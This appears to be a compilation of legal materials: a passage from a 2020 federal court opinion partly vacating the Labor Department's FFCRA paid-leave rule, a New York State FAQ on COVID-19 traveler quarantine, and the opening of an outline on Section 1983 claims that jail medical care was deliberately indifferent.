It is true that deference to an interpretation of a regulation embodied in the regulation’s preamble is usually warranted, as it “is evidence of an agency’s contemporaneous understanding of its proposed rules.” *Halo v. Yale Health Plan, Dir. of Benefits & Records Yale Univ.*, 819 F.3d 42, 52–53 (2d Cir. 2016) (citation omitted). But the preamble only reinforces that the work-availability requirement applies only to three of the six qualifying conditions, in that it only mentions the requirement in its discussion of some qualifying conditions. See 85 Fed. Reg. 19329–30. And, in any event, even if the preamble supported the agency’s position, it could not countermand the unambiguous terms of the regulation itself.
of the Emergency Paid Sick Leave Act’s six qualifying conditions. Nothing in the Final Rule’s text or structure suggests the requirement applies outside of the three circumstances to which it is explicitly attached. And, as traditional tools of textual interpretation teach, the explicit recitation of the requirement with respect to some qualifying circumstances suggests by negative implication its inapplicability to the other three. See N.L.R.B. v. SW Gen., Inc., 137 S. Ct. 929, 940 (2017). DOL has proffered no reason, apart from its statutory argument, that the regulation should be interpreted to apply the requirement more broadly than the Final Rule’s express terms command. Accordingly, the Court concludes that the work-availability requirement applies only to three of the six qualifying conditions under the EPSLA, as well as family leave under the EFMLEA.

The question remains, however, whether that regime exceeds the agency’s authority under the statute. To answer that question, the Court must apply Chevron’s familiar two-step framework. See Chevron U.S.A. Inc., v. Natural Resources Defense Council, 467 U.S. 837 (1984). Under Chevron, “if the statute is silent or ambiguous with respect to the specific issue,” courts will defer to an agency’s interpretation as long as it is reasonable. 467 U.S. at 843. Thus, at Chevron’s first step, the Court must determine whether the statute is ambiguous. See Catskill Mountains Chapter of Trout Unlimited, Inc. v. Envtl. Prot. Agency, 846 F.3d 492, 507 (2d Cir. 2017). If it is, the Court must proceed to step two and determine whether the agency’s interpretation of the ambiguous statute is reasonable. See id.

The statute here grants paid leave to employees who, in the case of the EPSLA, are “unable to work (or telework) due to a need for leave because” of any of the six qualifying conditions or, in the case of the EFMLEA, are “unable to work (or telework) due to a need for leave to care for” a child due to COVID-19. See FFCRA §§ 5102(a), 110(a)(2)(A). According
to DOL, those terms are unambiguous, such that the Court’s need not advance to Chevron’s second step. Specifically, DOL urges that the terms “due to” (as it appears in both provisions at issue) and “because” compel the conclusion that an employee whose employer “does not have work” for them is not entitled to leave irrespective of any qualifying condition. The terms “due to” and “because,” DOL argues, imply a but-for causal relationship. If the employer lacks work for the employee, the employee’s qualifying condition would not be a but-for cause of their inability to work, but rather merely one of multiple sufficient causes. And, DOL adds, an absence from work due to a lack of work is not “leave.”

DOL is correct, of course, that the traditional meaning of “because” (and “due to”) implies a but-for causal relationship. See Bostock v. Clayton Cty., Georgia, 140 S. Ct. 1731, 1739 (2020). But to say that these terms usually connote but-for causation is not to say that they unambiguously do. Nor does it necessarily follow that the baseline requirement of but-for causation cannot be supplemented with a special rule for the case of multiple sufficient causation. See Burrage v. United States, 571 U.S. 204, 214 (2014) (acknowledging that but-for causation, in typical legal usage, is sometimes supplemented with a special rule for multiple sufficient causation). Indeed, as the Supreme Court recently recognized in another statutory context interpreting the term “because,”

Congress could have taken a more parsimonious approach. As it has in other statutes, it could have added ‘solely’ to indicate that actions taken ‘because of’ the confluence of multiple factors do not violate the law. Cf. 11 U.S.C. § 525; 16 U.S.C. § 511. Or it could have written “primarily because of” . . . Cf. 22 U.S.C. § 2688. But none of this is the law we have.

Bostock, 140 S. Ct. 1731, 1739 (2020). Here, the Court cannot conclude that the terms “because” or “due to” unambiguously foreclose an interpretation entitling employees whose
inability to work has multiple sufficient causes — some qualifying and some not — to paid leave.

    Nor is the Court persuaded that the term “leave” requires that the inability to work be caused solely by a qualifying condition. “Leave,” DOL argues, connotes “authorized especially extended absence from duty or employment,” or “time permitted away from work, esp[ecially] for a medical condition or illness or for some other purpose.” (See Dkt. No. 25 at 23 (first quoting Definition of Leave, Merriam-Webster, https://www.merriam-webster.com/dictionary/leave (last accessed Aug. 2, 2020), and then quoting Definition of Leave, Cambridge Dictionary, https://dictionary.cambridge.org/us/dictionary/english/leave (last accessed Aug. 2, 2020).) But those definitions can accommodate New York’s view as well as DOL’s. An employee may need leave (i.e., an agreed-upon and permitted absence from work) tethered to one reason even if her employer has no present work for her due to some other reason. For example, in ordinary usage, a teacher on paid parental leave may still be considered on “leave” even if school is called off for a snow day.

    New York, for its part, argues that the statute unambiguously forecloses DOL’s argument. (See Dkt. No. 4 at 8–10.) The statute, New York notes, both uses mandatory language to describe the obligation to provide paid leave and contains several express exceptions to that obligation, suggesting the absence of other implied limitations. (See Dkt. No. 4 at 8.) But those features of the statute are entirely consistent with DOL’s interpretation. The causation requirement in the Final Rule is not an additional, implicit exception, nor a negation of the mandatory nature of the leave obligations, but rather a limiter of the universe of individuals who qualify for the leave in the first instance. The statutory regime cannot be implemented without ascribing some causal requirement to the causal language, and doing so is not tantamount to
adding an additional, exogenous criterion. New York also perceives a conflict between requiring but-for causation and the broader remedial goals of the statute, given that the Final Rule would dramatically narrow the pool of employees entitled to leave as compared to New York’s preferred interpretation. (See Dkt. No. 4 at 10–11.) But any such conflict is immaterial at *Chevron’s* first step, where the Court’s charge is only to determine whether the statute’s text is ambiguous. And in any event, that Congress’s aim in passing the statute was remedial does not require that every provision of the statute be read to unambiguously be given maximal remedial effect. The statute, like virtually all statutes, reflects a balance struck by Congress between competing objectives.

The statute’s text, the Court concludes, is ambiguous as to whether it requires but-for causation in all circumstances, or instead whether some other causal relationship — specifically, multiple sufficient causation — satisfies its eligibility criteria. The Court must therefore proceed to *Chevron’s* second step.

At its second step, *Chevron* requires an inquiry into “whether the agency’s answer [to the interpretive question] is based on a permissible construction.” *Catskill Mountains*, 846 F.3d at 520 (quoting *Mayo Found. for Med. Educ. & Research v. United States*, 562 U.S. 44, 54 (2011)). A reviewing court should not “disturb an agency rule at *Chevron* step two unless it is ‘arbitrary or capricious in substance, or manifestly contrary to the statute.’” *Id.* Even under this deferential standard of review, interpretations “arrived at with no explanation,” like interpretations “picked out of a hat,” are unacceptable, even if they “might otherwise be deemed reasonable on some unstated ground.” *Catskill Mountains*, 846 F.3d at 520.

The Final Rule’s work-availability requirement fails at *Chevron* step two, for two reasons. First, as to the EPSLA, the Final Rule’s differential treatment of the six qualifying
conditions is entirely unreasoned. Nothing in the Final Rule explains this anomaly. And that
differential treatment is manifestly contrary to the statute’s language, given that the six
qualifying conditions share a single statutory umbrella provision containing the causal language.
See FFCRA § 5102(a). Second, and more fundamentally, the agency’s barebones explanation
for the work-availability requirement is patently deficient. The requirement, as an exercise of the
agency’s delegated authority, is an enormously consequential determination that may
considerably narrow the statute’s potential scope. In support of that monumental policy
decision, however, the Final Rule offers only ipse dixit stating that “but-for” causation is
required. See, e.g., Final Rule at 19329 (reasoning that the work-availability requirement is
justified “because the employee would be unable to work even if he or she” did not have a
qualifying condition). That terse, circular regurgitation of the requirement does not pass
Chevron’s minimal requirement of reasoned decision-making. The work-availability
requirement therefore fails Chevron’s second step.

C. Definition of “Health Care Provider”

The State of New York next contends that the Final Rule’s definition of a “health care
provider” exceeds DOL’s authority under the statute. (See Dkt. No. 4 at 11–16.) Because
employers may elect to exclude “health care providers” from leave benefits, the breadth of the
term “health care provider” has grave consequences for employees.

The FMLA, which supplies the relevant statutory definition for both provisions of the
FFCRA at issue, defines a “health care provider” as: “(A) a doctor of medicine or osteopathy
who is authorized to practice medicine or surgery (as appropriate) by the State in which the
doctor practices; or (B) any other person determined by the Secretary to be capable of providing
health care services.” 29 U.S.C. § 2611(6). The Final Rule’s definition is worth quoting at
length; invoking the Secretary’s authority under subsection (B), it defines a “health care provider” for the purposes of the FFCRA leave provisions as:

anyone employed at any doctor’s office, hospital, health care center, clinic, post-secondary educational institution offering health care instruction, medical school, local health department or agency, nursing facility, retirement facility, nursing home, home health care provider, any facility that performs laboratory or medical testing, pharmacy, or any similar institution, Employer, or entity. This includes any permanent or temporary institution, facility, location, or site where medical services are provided that are similar to such institutions,

as well as

any individual employed by an entity that contracts with any of these institutions described above to provide services or to maintain the operation of the facility where that individual’s services support the operation of the facility, [and] anyone employed by any entity that provides medical services, produces medical products, or is otherwise involved in the making of COVID-19 related medical equipment, tests, drugs, vaccines, diagnostic vehicles, or treatments.

Final Rule at 19,351 (§ 826.25). The definition, needless to say, is expansive: DOL concedes that an English professor, librarian, or cafeteria manager at a university with a medical school would all be “health care providers” under the Rule. (See Dkt. No. 25 at 29.)

Returning to Chevron’s first step, the Court concludes that the statute unambiguously forecloses the Final Rule’s definition. The broad grant of authority to the Secretary is not limitless. The statute requires that the Secretary determine that the employee be capable of furnishing healthcare services. It is the “person” — *i.e.*, the employee — that the Secretary must designate. 29 U.S.C. § 2611(6). And the Secretary’s determination must be that the person is capable of providing healthcare services; not that their work is remotely related to someone else’s provision of healthcare services. Of course, this limitation does not imply that the Secretary’s designation must be made on an individual-by-individual basis. But the statutory text requires at least a minimally role-specific determination. DOL’s definition, however, hinges
entirely on the identity of the employer, in that it applies to anyone employed at or by certain classes of employers, rather than the skills, role, duties, or capabilities of a class of employees.

DOL nonetheless urges that its definition is consistent with the context in which the term is used. The term “health care provider,” as used in the FFCRA, serves to exempt employees who are essential to maintaining a functioning healthcare system during the pandemic. See Final Rule at 19,335. A broad definition of “health care provider” operationalizes that goal, because employees who do not directly provide healthcare services to patients — for example, lab technicians or hospital administrators — may nonetheless be essential to the functioning of the healthcare system. (See Dkt. No. 25 at 28.) But that rationale cannot supersede the statute’s unambiguous terms. And, in any event, the Final Rule’s definition is vastly overbroad even if one accepts the agency’s purposivistic approach to interpretation, in that it includes employees whose roles bear no nexus whatsoever to the provision of healthcare services, except the identity of their employers, and who are not even arguably necessary or relevant to the healthcare system’s vitality. Think, again, of the English professor, who no doubt would be surprised to find that as far as DOL is concerned, she is essential to the country’s public-health response. The definition cannot stand.8

8 New York levies an additional challenge against the definition of “health care provider.” The Final Rule purports to define a “health care provider” solely for the purposes of the EFMLEA and EPSLA, while leaving in place the narrower definition in pre-existing regulations implementing the FMLA. The definition, New York claims, must track the definition ascribed to the same words elsewhere in the FMLA, because the same provision gives the definition of “health care provider” for both relevant sections the FFCRA and for the remainder of the FMLA. (See Dkt. No. 4 at 15–16.) But the Supreme Court has occasionally suggested that an agency may interpret a shared term differently across various sections of a statute, even if the statute provides a single statutory definition, as long as the different definitions individually are reasoned and do not exceed the agency’s authority. See, e.g., Barber v. Thomas, 560 U.S. 474, 574–75 (2010); but see id. at 582–83 (Thomas, J., dissenting). Nonetheless, because the Court rejects the Final Rule’s definition on other grounds, it has no occasion to consider whether the differentiation is permissible.
D. Intermittent Leave

New York next argues that the regulation’s prohibition on intermittent leave exceeds DOL’s authority under the statute. The Final Rule permits “employees to take Paid Sick Leave or Expanded Family and Medical Leave intermittently (i.e., in separate periods of time, rather than one continuous period) only if the Employer and Employee agree,” and, even then, only for a subset of the qualifying conditions. See Final Rule at 19,353 (§§ 826.50(a)-(c)). By constraining the exercise of intermittent leave to “circumstances where there is a minimal risk that the employee will spread COVID-19 to other employees,” the Final Rule balances the statute’s goals of employee welfare and public health. Id. at 19,337.

The parties again disagree on the meaning of the regulations. New York reads the regulations to require employees to take any qualifying leave in a single block, and that any leave not taken consecutively in a single block is thereafter forfeited. (See Dkt. No. 4 at 17–20.) On this understanding, an employee who took two days off while seeking a COVID-19 diagnosis but thereafter returned to work could not take any additional EFMLEA leave, even if the employee later developed a different qualifying condition. DOL responds that the regulations forbid intermittent leave only for any single qualifying reason. (See Dkt. No. 25 at 30–31.) Thus, if the employee returns to work after taking two days of qualifying leave while seeking a diagnosis, the employee may later take more paid leave if she develops another qualifying condition.

This time, the language of the regulation favors DOL’s view. The Final Rule states that “[o]nce the Employee begins taking Paid Sick Leave for one or more of [the reasons for which intermittent leave is forbidden], the Employee must use the permitted days of leave consecutively until the Employee no longer has a qualifying reason to take Paid Sick Leave.” Final Rule at 19,353. That provision, however, says nothing about forfeiting remaining days of
leave after leave is taken intermittently. The most natural reading of the provision, then, squares with the interpretation advanced by DOL: An employee taking leave for an intermittent-leave-restricted reason must take his or her leave consecutively until his or her need for leave abates. But once the need for leave abates, the employee retains any remaining paid leave, and may resume leave if and when another qualifying condition arises. That understanding is also in harmony with the Rule’s stated justification for the restriction, which, as discussed in more detail below, relates to the public-health risk of an employee who may be infected with COVID-19 returning to work before the risk of contagion dissipates.

Turning to the heart of New York’s challenge, the Court concludes that the intermittent-leave constraints, as properly interpreted, are largely though not entirely consistent with the FFCRA. Congress did not address intermittent leave at all in the FFCRA; it is therefore precisely the sort of statutory gap, under Chevron step one, that DOL’s broad regulatory authority empowers it to fill. FFCRA § 5111(3) (delegating the authority to the Secretary to promulgate regulations “as necessary, to carry out the purposes of this Act”); see id. § 3102(b), amended by CARES Act § 3611(7) (same). Moreover, Congress knows how to address intermittent leave if it so desires; the FFCRA’s silence contrasts with the presence of both affirmative grants and affirmative proscriptions on intermittent leave in the FMLA. See 29 U.S.C. § 2612(b)(1). Unlike in those instances, in the context of the FFCRA, Congress left this interstitial detail to the agency’s expert decision-making. And though New York points to several provisions in the FFCRA that would be nonsensical if leave could not be accrued incrementally (see Dkt. No. 4 at 18–20), those provisions cohere with the Final Rule’s intermittent leave restrictions as properly interpreted, because the Final Rule as construed contemplates leave taken in multiple increments, as long as each increment is attributable to a
different instance of qualifying conditions. DOL’s intermittent-leave rules are therefore entitled to deference if they are reasonable. See Woods v. START Treatment & Recovery Centers, Inc., 864 F.3d 158, 168 (2d Cir. 2017).

The intermittent-leave provisions falter in part, however, at Chevron’s second step. Under the Final Rule, intermittent leave is allowed for only certain of the qualifying leave conditions, and, even then, only if the employer agrees to permit it. Final Rule at 19,353 (§§ 826.50(a)-(c)). The conditions for which intermittent leave is entirely barred are those which logically correlate with a higher risk of viral infection.9 As explained in the Final Rule’s preamble, this restriction advances Congress’s public-health objectives by preventing employees who may be infected or contagious from returning intermittently to a worksite where they could transmit the virus. See id. at 19,337. Fair enough. But that justification, while sufficient to explain the Final Rule’s prohibitions on intermittent leave for qualifying conditions that correspond with an increased risk of infection, utterly fails to explain why employer consent is required for the remaining qualifying conditions, which concededly do not implicate the same public-health considerations. For example, as the Final Rule explains, if an employee requires paid leave “solely to care for the employee’s son or daughter whose school or place of care is closed,” the “absence of confirmed or suspected COVID-19 in the employee’s household reduces the risk that the employee will spread COVID-19 by reporting to the employer’s

9 These include leave because employees: are subject to government quarantine or isolation order related to COVID-19, have been advised by a healthcare provider to self-quarantine due to concerns related to COVID-19, are experiencing symptoms of COVID-19 and are taking leave to obtain a medical diagnosis, are taking care of an individual who either is subject to a quarantine or isolation order related to COVID-19 or has been advised by a healthcare provider to self-quarantine due to concerns related to COVID-19, or are experiencing any other substantially similar condition specified by the Secretary of Health and Human Services.
worksite while taking intermittent paid leave.” Final Rule at 19,337. The Final Rule therefore acknowledges that the justification for the bar on intermittent leave for certain qualifying conditions is inapplicable to other qualifying conditions, but provides no other rationale for the blanket requirement of employer consent. Insofar as it requires employer consent for intermittent leave, then, the Rule is entirely unreasoned and fails at *Chevron* step two. It survives *Chevron* review insofar as it bans intermittent leave based on qualifying conditions that implicate an employee’s risk of viral transmission.

E. Documentation Requirements

Finally, New York argues that the Final Rule’s documentation requirements are inconsistent with the statute. (See Dkt. No. 4 at 21–23.) The Final Rule requires that employees submit to their employer, “prior to taking [FFCRA] leave,” documentation indicating, *inter alia*, their reason for leave, the duration of the requested leave, and, when relevant, the authority for the isolation or quarantine order qualifying them for leave. See Final Rule at 19,355 (§ 826.100). But the FFCRA, as New York points out, contains a reticulated scheme governing prior notice. With respect to emergency paid family leave, the EFMLEA provides that, “[i]n any case where the necessity for [leave] is foreseeable, an employee shall provide the employer with such notice of leave as is practicable.” FFCRA § 3102(b) (adding FMLA § 110(c)). And with respect to paid sick leave, the EPSLA provides that “[a]fter the first workday (or portion thereof) an employee receives paid sick time under this Act, an employer may require the employee to follow reasonable notice procedures in order to continue receiving such paid sick time.” *Id.* § 5110(5)(E). To the extent that the Final Rule’s documentation requirement imposes a different and more stringent precondition to leave, it is inconsistent with the statute’s unambiguous notice provisions at fails at *Chevron* step one.
The federal government urges the Court to distinguish between the question of prior notice (which is what the statutory scheme addresses) and documentation requirements (which is what the regulation describes). (See Dkt. No. 33–34.) But a blanket (regulatory) requirement that an employee furnish documentation before taking leave renders the (statutory) notice exception for unforeseeable leave and the statutory one-day delay for paid sick leave notice completely nugatory. Labels aside, the two measures are in unambiguous conflict. The federal government also contends that the documentation requirements are not onerous (see Dkt. No. 34 at 25); be that as it may, the requirement is an unyielding condition precedent to the receipt of leave and, in that respect, is more onerous than the unambiguous statutory scheme Congress enacted. The documentation requirements, to the extent they are a precondition to leave, cannot stand.

F. Severability

The APA requires courts to “hold unlawful and set aside agency action” that is not in accordance with law or in excess of statutory authority. 5 U.S.C. § 706(2). “Agency action” may include “the whole or a part of an agency rule.” 5 U.S.C. § 551(13). “Thus, the APA permits a court to sever a rule by setting aside only the offending parts of the rule.” Carlson v. Postal Regulatory Comm’n, 938 F.3d 337, 351 (D.C. Cir. 2019). To that end, the “‘invalid part’ of a statute or regulation ‘may be dropped if what is left is fully operative as a law,’ absent evidence that ‘the [agency] would not have enacted those provisions which are within its power, independently of that which is not.’” United States v. Smith, 945 F.3d 729, 738 (2d Cir. 2019) (quoting Buckley v. Valeo, 424 U.S. 1, 108 (1976)).

Here, New York contends that each offending portion of the Final Rule is severable from the remainder of the Final Rule. (See Dkt. No. 4 at 23–25.) DOL does not dispute the provisions’ severability, and the Court sees no reason that the remainder of the Rule cannot
operate as promulgated in the absence of the invalid provisions. The following portions, and only the following portions, of the Final Rule are therefore vacated: the work-availability requirement; the definition of “health care provider”; the requirement that an employee secure employer consent for intermittent leave; and the temporal aspect of the documentation requirement, that is, the requirement that the documentation be provided before taking leave. The remainder of the Final Rule, including the outright ban on intermittent leave for certain qualifying reasons and the substance of the documentation requirement, as distinguished from its temporal aspect, stand.

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The Court acknowledges that DOL labored under considerable pressure in promulgating the Final Rule. This extraordinary crisis has required public and private entities alike to act decisively and swiftly in the face of massive uncertainty, and often with grave consequence. But as much as this moment calls for flexibility and ingenuity, it also calls for renewed attention to the guardrails of our government. Here, DOL jumped the rail.

G. Conclusion

For the foregoing reasons, Defendants’ motion to dismiss is DENIED. Plaintiff’s motion for summary judgment is GRANTED as to the work-availability requirement, the definition of “health care provider,” and the temporal aspect of the documentation requirements, and is GRANTED in part and DENIED in part as to the intermittent-leave provision. Defendants’ motion for summary judgment is GRANTED in part as to the intermittent-leave prohibition, and is otherwise DENIED.
The Clerk of Court is directed to close the motions at Docket Numbers 3, 24, and 31.

SO ORDERED.

Dated: August 3, 2020
New York, New York

J. PAUL OETKEN
United States District Judge
Frequently Asked Questions Regarding Quarantine Restrictions on Travelers Arriving in New York State Following Out of State Travel

July 2, 2020

Background:

Was a travel advisory was issued for NYS?

Yes. Effective 12:01am on Thursday, June 25, 2020, Governor Cuomo issued Executive Order 205 that requires individuals to quarantine for 14 days after traveling for 24 hours or longer within designated states that have significant rates of transmission of COVID-19. Guidance was also issued by the New York State Department of Health. Since New York has successfully reduced COVID-19 transmission, vigilance must be maintained to ensure that New York does not see a surge in new cases from states with increasing community transmission of COVID-19.

What states meet the criteria for required quarantine?

Individuals are subject to the travel advisory if they have visited states identified as having a seven-day rolling average of over 10% of all COVID-19 tests producing a positive result, or the number of positive cases exceeding 10 per 100,000 residents. This list will be continually evaluated based on cases in each state over time. Please refer to the following website for updates regarding impacted states: https://coronavirus.health.ny.gov/covid-19-travel-advisory

If I arrive in NY from a state that has been added to the designated state list before the date it was added, but before 14 days have elapsed, do I have to quarantine?

The travel advisory is not retroactive. However, travelers from those states are advised to self-monitor and get tested if they start to develop any symptoms, within the 14 day timeframe.

What does the travel advisory mean?

New York has joined with New Jersey and Connecticut in jointly issuing a travel advisory for anyone returning from travel to states that have a significant degree of community-wide spread of COVID-19. The travel advisory requires all such travelers to quarantine when they enter New York for 14 days from the last day of travel in a designated state(s). The travel advisory requires all New Yorkers, as well as those visiting from out of state, to take personal responsibility for complying with the advisory in the best interest of public health and safety.
What does quarantine mean?

If you are returning from travel to a designated state, and if such travel was for longer than the limited duration outlined above, you are required to quarantine when you enter New York for 14 days from the last day you were in a designated state(s), unless you are an essential worker or fall under another exception as determined by the Commissioner. The requirements to safely quarantine include:

- The individual must not be in public or otherwise leave the quarters that they have identified as suitable.
- The individual must be situated in separate quarters with a separate bathroom facility for each individual or family group. Access to a sink with soap, water, and paper towels is necessary. Cleaning supplies (e.g. household cleaning wipes, bleach) must be provided in any shared bathroom.
- The individual must have a way to self-quarantine from household members as soon as fever or other symptoms develop, in a separate room(s) with a separate door. Given that an exposed person might become ill while sleeping, the exposed person must sleep in a separate bedroom from household members.
- Food must be delivered to the person’s quarters.
- Quarters must have a supply of face masks for individuals to put on if they become symptomatic.
- Garbage must be bagged and left outside for routine pick up. Special handling is not required.
- A system for temperature and symptom monitoring must be implemented to provide assessment in-place for the quarantined persons in their separate quarters.
- Nearby medical facilities must be notified, if the individual begins to experience more than mild symptoms and may require medical assistance.
- The quarters must be secure against unauthorized access.

What does the travel advisory mean for first responders and essential workers?

As stated above, there are specific protocols for essential workers related to the travel advisory, to allow such workers to work upon their return to New York while also taking steps to mitigate any risk of transmission of COVID-19.

In addition, all essential workers must continue to adhere to existing guidance, including guidance regarding return to work after a suspected or confirmed case of COVID-19 or after the employee had close or proximate contact with a person with COVID-19.

Further, for all essential workers who have been in a designated state in the 14 days prior to arrival in New York State shall abide by the following requirements. These conditions may change over time.
Quarantine and monitoring requirements of traveling essential workers apply for the following timeframes:

**Short Term** – for essential workers traveling to New York State for a period of less than 12 hours.

- This includes instances such as an essential worker passing through New York, delivering goods, awaiting flight layovers, and other short duration activities.
- Essential workers should stay in their vehicle and/or limit personal exposure by avoiding public spaces as much as possible.
- Essential workers should monitor temperature and signs of symptoms, wear a face covering when in public, maintain social distance, and clean and disinfect workspaces.
- Essential workers are required, unless required for such essential work, to avoid extended periods in public, contact with strangers, and large congregate settings, for 14 days.

**Medium Term** – for essential workers traveling to New York State for a period of less than 36 hours, requiring them to stay overnight.

- This includes instances such as an essential worker delivering multiple goods in New York, awaiting longer flight layover, and other medium duration activities.
- Essential workers should monitor temperature and signs of symptoms, wear a face covering when in public, maintain social distance, and clean and disinfect workspaces.
- Essential workers are required, to the extent possible unless required for such essential work, to avoid extended periods in public, contact with strangers, and large congregate settings for a period of at least 14 days.

**Long Term** – for essential workers traveling to New York State for any period of greater than 36 hours, requiring them to stay at least several days.

- This includes instances such as an essential worker working on longer projects, fulfilling extended employment obligations, and other longer duration activities.
- Essential workers should seek diagnostic testing for COVID-19 as soon as possible upon arrival (within 24 hours) to ensure they are not positive.
- Essential workers should monitor temperature and signs of symptoms, wear a face covering when in public, maintain social distancing, clean and disinfect workspaces for a minimum of 14 days.
- Essential workers, to the extent possible unless required for such essential work, are required to avoid extended periods in public, contact with strangers, and large congregate settings for a period of at least 14 days.
Who is an essential worker?

An “essential worker” is (1) any individual employed by an entity included on the Empire State Development (ESD) Essential Business list; or (2) any individual who is employed as a health care worker, first responder, or in any position within a nursing home, long-term care facility, or other congregate care setting, or an individual who is employed as an essential employee who directly interacts with the public while working, or (3) any other worker or person deemed such by the Commissioner of Health. Pursuant to Executive Order 202.45, any essential employee who travels to a designated state as part of the person’s employment, or at the direction of the employee’s employer, will remain eligible for benefits under New York’s COVID-19 paid sick leave law.

Resources for essential worker lists:

- ESD Essential Business list: https://esd.ny.gov/guidance-executive-order-2026

How does this travel restriction affect healthcare personnel?

Anyone who has traveled to a designated state will be required to quarantine when entering New York State for 14 days from the last day in a designated state. However, entities may allow healthcare personnel (HCP) who have traveled to a designated state to work as essential workers if all the following conditions are met:

1. Furloughing such HCP would result in staff shortages that would adversely impact operation of the healthcare entity, and all other staffing options have been exhausted.
2. HCPs are asymptomatic.
3. HCP received diagnostic testing for COVID-19 within 24 hours of arrival in New York.
4. HCP is self-monitoring twice a day (i.e. temperature, symptoms), and receiving temperature monitoring and symptom checks at the beginning of each shift, and at least every 12 hours during a shift.
5. HCP is wearing a facemask while working.
6. To the extent possible, HCP working under these conditions should preferentially be assigned to patients at lower risk for severe complications, as opposed to higher-risk patients (e.g. severely immunocompromised, elderly).
7. HCP allowed to return to work under these conditions should maintain self-quarantine when not at work.

8. At any time, if the HCP working under these conditions develop symptoms consistent with COVID-19, they should immediately stop work and isolate at home. All staff with symptoms consistent with COVID-19 should be immediately referred for diagnostic testing for SARS-CoV-2.

What if I have a medical appointment or procedure?

If you have a health care procedure or appointment scheduled in New York that cannot be postponed, you (and your support person/companion) may travel to the extent necessary to maintain that appointment, but must otherwise remain quarantined. For further information, see the Department’s guidance on this topic.

Are students enrolled in NYS health care education programs who reside out of state required to quarantine upon their return to New York for classes?

Students who have traveled in or to any of the designated states requiring quarantine, and are currently enrolled in a NYS health care education program, are required to adhere to the essential worker guidance upon their arrival in New York.

Additional Questions:

If I am not an essential worker, can I travel to one of the designated states for vacation or to see family?

Yes. However, upon your return you will be required to quarantine when you enter New York for 14 days from the last day you were in a designated state(s). In addition, pursuant to Executive Order 202.45, any New York State resident who voluntarily travels to a designated state for travel that was not taken as part of the person’s employment or at the direction of the person’s employer, will not be eligible benefits under New York’s COVID-19 paid sick leave law.

I am only passing through designated states for less than 24 hours through my course of travel. Do I need to quarantine?

No. Individuals passing through a designated state for less than 24 hours, such as stopping at rest stops for vehicles, buses, and/or trains; or lay-overs for air travel, bus travel, or train travel, are not required to quarantine.
I am a resident of a designated state and will be visiting family in NYS for less than 14 days. Will I have to quarantine in NYS for the full 14 days?

While in New York State, you will need to maintain quarantine for 14 days from the last day you were in a designated state(s). If you are in New York State for less than 14 days, you will need to quarantine for the entire time you are in New York and, to protect the public wherever you are, you should complete the remainder of the 14-day period quarantine period in your home upon return to a designated state.

I am traveling from a designated state to New York State am visiting for less than 14 days. If I am required to quarantine for 14 days, who will pay for my accommodations, meals, and lost wages?

Travelers from designated states may leave the state prior to the expiration of the 14-day quarantine period. However, to protect the public wherever you are, you should still maintain quarantine for the remainder of the 14-day period. Travelers are responsible for their own expenses during quarantine.

If I am a New York State resident arriving from a designated state, will I be given a quarantine order? Do I have to report myself to the local health department?

The NYS Department of Health expects all travelers to comply and protect public health by adhering to the quarantine without receipt of an individual order. However, the NYS Department of Health and the local health departments reserve the right to issue a mandatory quarantine order, if needed. If you would like an order for purposes of applying for a sick leave benefit, please contact the local health department where you are staying or where you reside. However, as mentioned above, pursuant to Executive Order 202.45, any New York State resident who voluntarily travels to a designated state for travel that was not taken as part of the person’s employment or at the direction of the person’s employer, will not be eligible benefits under New York’s COVID-19 paid sick leave law.

Clinical Testing

If I have a negative COVID-19 diagnostic test, does that mean I can come out of quarantine?

No. Symptoms of COVID-19 can appear as late as 14 days after exposure. Therefore, a negative test cannot guarantee that you will not become sick. The full 14 days of quarantine are required.

Compliance

How will my quarantine be enforced?

The NYS Department of Health expects all travelers to comply and protect public health by adhering to the quarantine. However, the NYS Department of Health and the local health departments reserve the right to issue a mandatory quarantine order, if needed. Pursuant to Executive Order 205, anyone who
violates a quarantine order may be subject to a civil penalty of up to $10,000 or imprisonment up to 15 days per PHL 229.

If I am driving from a designated state to New York State. Will law enforcement stop me because I have an out-of-state license plate?

The Executive Order does not direct law enforcement to stop people solely due to an out-of-state license plate.
§ 1983 Medical Deliberate Indifference Claims in the Prison Context

Adam I. Rodd, Esq.
MEDICAL DELIBERATE INDIFFERENCE CLAIMS IN THE
JAIL/CORRECTIONAL FACILITY CONTEXT

Prepared by: Adam L. Rodd, Drake Loeb PLLC

I. Introduction – prevalence of prison/inmate claims of inadequate medical care

II. 42 U.S.C. Section 1983 overview

(A) Private entities performing medical services in municipal jail facilities can be considered “State actors” under Section 1983. Cruz v. Corizon Health, Inc. 2016 WL 4535040 (S.D.N.Y. 2016).

(B) Section 1983 does not itself create substantive rights. Sykes v. James, 13 F.3d 515 (2nd Cir. 1993)

(C) Constitutional provisions providing substantive rights to medical care in the jail context: 5th Amendment, 8th Amendment and 14th Amendment

(D) Status of inmate determines which Constitutional Amendment applies

III. Deliberate Indifference Claim – Contains Objective and Subjective Requirements – Spavone v. New York State Department of Corrections, 719 F.3d 127 (2nd Cir. 2013)

(A) Objective Element

(1) Underlying condition or deprivation must be “sufficiently serious.” Saluddin v. Goord, 467 F.3d 263 (2nd Cir. 2006)

(2) Factors and Criteria for determining “sufficiently serious” condition. Chance v. Armstrong, 143 F.3d 698, 702 (2d Cir. 1998); Brock v. Wright, 315 F.3d 158, 162 (2d Cir. 2003); Hudson v. McMillian, 503 U.S. 1 (1992)

(3) Examples of Actionable Conditions: Brock v. Wright, 315 F.3d 158 (2nd Cir. 2003); Chance v. Armstrong, 143 F.3d 698 (2nd Cir. 1998); Hemmings v. Gorczyk, 134 F.3d 104, 106–07 (2d Cir.1998); Hathaway v. Coughlin, 37 F.3d 63, 64–65, 67 (2d Cir.1994)

(5) Seriousness of underlying condition not dispositive: Smith v. Carpenter, 316 F.3d 178, 186 (2d Cir. 2003).

(B) Subjective Element

(1) General Criteria: Saluhuddin v. Goord, 467 F.3d 262 (2nd Cir. 2006)

(2) Differences under 8th v. 14th Amendments: Darnell v. Pineiro, 849 F.3d 17 (2nd Cir. 2017)

IV. Exhaustion of Administrative Remedies – Prisoner Litigation Reform Act 42 U.S.C. Section 1997e(a)